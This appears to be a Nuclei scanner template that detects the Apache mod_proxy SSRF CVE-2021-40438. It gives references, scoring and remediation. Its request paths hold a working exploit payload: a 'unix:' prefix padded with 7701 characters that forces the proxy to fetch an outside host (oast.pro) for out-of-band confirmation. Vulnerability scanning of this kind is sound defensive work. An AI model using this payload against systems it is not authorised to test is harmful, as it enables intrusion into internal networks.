43 lines
1.7 KiB
YAML
43 lines
1.7 KiB
YAML
id: CVE-2021-40438
|
|
|
|
info:
|
|
name: Apache <= 2.4.48 - Mod_Proxy SSRF
|
|
author: pdteam
|
|
severity: critical
|
|
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
|
|
remediation: Upgrade to Apache version 2.4.49 or later.
|
|
reference:
|
|
- https://firzen.de/building-a-poc-for-cve-2021-40438
|
|
- https://httpd.apache.org/security/vulnerabilities_24.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
|
|
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
|
|
- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 9
|
|
cve-id: CVE-2021-40438
|
|
cwe-id: CWE-918
|
|
epss-score: 0.9712
|
|
epss-percentile: 0.99746
|
|
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: http_server
|
|
tags: cve,cve2021,ssrf,apache,mod-proxy,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{randbase(5)}}.com/'
|
|
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://oast.pro/'
|
|
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "!contains(body_1, '<h1> Interactsh Server </h1>')"
|
|
- "contains(body_2, '<h1> Interactsh Server </h1>')"
|
|
condition: and
|
|
# digest: 4a0a00473045022070a916c62b45b2c1dcfc8c54c6469dc5255bb5bcb3aaf3ea6d16af856b8279d4022100be3dba414c4d37eeff05f7da7dc9a1adc5331613a4b8bcb0897017dd969709cb:922c64590222798bb761d5b6d8e72950 |